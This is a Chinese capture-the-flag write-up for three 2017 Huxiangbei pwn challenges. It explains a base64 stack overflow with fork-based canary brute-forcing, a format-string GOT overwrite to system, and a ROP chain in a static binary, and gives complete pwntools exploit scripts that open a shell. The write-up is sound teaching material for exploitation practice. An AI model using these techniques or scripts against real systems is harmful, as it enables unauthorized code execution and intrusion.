2017湖湘杯pwn

PWN 100

先分析下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main()
{
char v1; // [esp+1Bh][ebp-5h]
__pid_t v2; // [esp+1Ch][ebp-4h]

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("I am a simple program");
while ( 1 )
{

puts("\nMay be I can know if you give me some data[Y/N]");
if ( getchar() != 'Y' )
break;
v1 = getchar();
while ( v1 != '\n' && v1 )
;
v2 = fork();
if ( !v2 ) // 在子进程中
{
do();
puts("Finish!");
exit(0);
}
if ( v2 <= 0 )
{
if ( v2 == -1 ) // 错误
{
puts("Something Wrong");
exit(0);
}
}
else
{
wait(0); // 父进程
}

}
return 0;
}

这里父进程fork了一个子进程,然后当返回在子进程中时就进入do()函数,返回在父进程中时就阻塞,然后子进程结束后再fork子进程

跟进子进程函数

很明显是个base64解码,再看看输入时的判断,那么程序的功能就知道了

然后再来找漏洞,base64解码后长度变为原来的四分之三,我们可以输入的最大长度为512,解码后保存在一个长度为257的字符数组,那么很明显这里存在一个缓冲区溢出

再来看下程序的保护机制:

发现有canary,那么得绕过,这里有种针对fork进程的爆破方法

http://0x48.pw/2017/03/14/0x2d/

http://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/

对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。

那么编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from base64 import *

context_log_level = 'debug'
bin = ELF('pwns')

libc=ELF('libc.so.6')
puts_plt_addr = bin.plt['puts']
puts_got_addr = bin.got['puts']
vulc_addr = 0x080487E6
p = process('./pwns')



canary = '\x00'
p.recvuntil('May be I can know if you give me some data[Y/N]\n')
for i in range(3):

for j in range(256):
p.send('Y\n')
p.send(b64encode('a'*257+ canary + chr(j)))
recv =p.recvuntil('May be I can know if you give me some data[Y/N]\n')
if 'Finish' in recv:
canary += chr(j)
break

print 'find canary:'+canary.encode('hex')

pay1 = 'a'*257+ canary +'a'*12+flat(puts_plt_addr,vulc_addr,puts_got_addr)
p.send('Y\n')

p.recvuntil('Give me some datas:\n\n')

p.send(b64encode(pay1))

puts_addr = p.recv()[268:268+4]

system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)

sh_addr = next(libc.search('/bin/sh'))- libc.symbols['puts'] + u32(puts_addr)



pay2 = 'a'*257+canary+'a'*12+flat(system_addr,p32(1),sh_addr)

p.send(b64encode(pay2))

p.interactive()

运行:

PWN 200

分析源码,一个格式化字符串漏洞

那么直接调试找偏移

可以发现,偏移是7,那么我们把puts_got地址上的值printf出来,就能够得出puts函数地址,然后就能得到system函数地址,再然后我们需要调用system函数,这里可以把atoi函数got上的值改为system函数地址,然后传入”bin/sh”,当调用atoi函数时,就能getshell了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*

bin = ELF('pwne')
libc = ELF('libc.so.6')

p = process('./pwne')

p.recvuntil('[Y/N]\n')

p.sendline('Y')

p.recvuntil('GET YOUR NAME:\n\n')

p.sendline(p32(bin.got['puts'])+'%7$s')

p.recvuntil('WELCOME \n')

puts_addr = p.recv()[4:8]

system_addr = libc.symbols['system']-libc.symbols['puts'] + u32(puts_addr)

atoi_got = bin.got['atoi']

p.sendline('21')

p.recvuntil('[Y/N]\n')

p.sendline('Y')

p.recvuntil('GET YOUR NAME:\n\n')

p.sendline(fmtstr_payload(7,{atoi_got: system_addr}))

p.recvuntil('GET YOUR AGE:\n\n')

p.sendline('/bin/sh\x00')

p.interactive()

运行:

ps:关于fmtstr_payload的用法以及源码参考:

http://docs.pwntools.com/en/stable/fmtstr.html

PWN 300

存在栈溢出



动态调试一下,算下需要填充的padding的长度

0xbfe17d98-0xbfe17d5c = 0x3c = 60

然后再加上ebp的长度就是64

另外这个程序时静态链接的,那么ROP就在程序自身找找

还有就是这个程序只能输入无符号类型的10进制数

那么就需要把shellcode修改一下

最后编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

shellcode = (134671626, 135176288, 134984710, 1852400175, 134880685, 134671626, 135176292, 134984710, 1752379183, 134880685, 134671626, 135176296, 134563632, 134880685, 134513097, 135176288, 134671665, 135176296, 135176288, 134671626, 135176296, 134563632, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134518657)

payload = []
padding = 16
for i in range(padding):
payload.append(i)

for i in shellcode:
payload.append(i)

p = process('pwn300')

times = padding+len(shellcode)+1
p.recvuntil('calculate:')
p.sendline(str(times))
#填充padding,16*4
for i in range(padding):
p.recvuntil('5 Save the result\n')
p.sendline('2')
p.recvuntil('input the integer x:')
p.sendline('0')
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')


for i in range(padding,times-1):
p.recvuntil('5 Save the result\n')
p.sendline('1')
p.recvuntil('input the integer x:')
p.sendline(str(payload[i]))
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')


p.sendline('5')
p.interactive()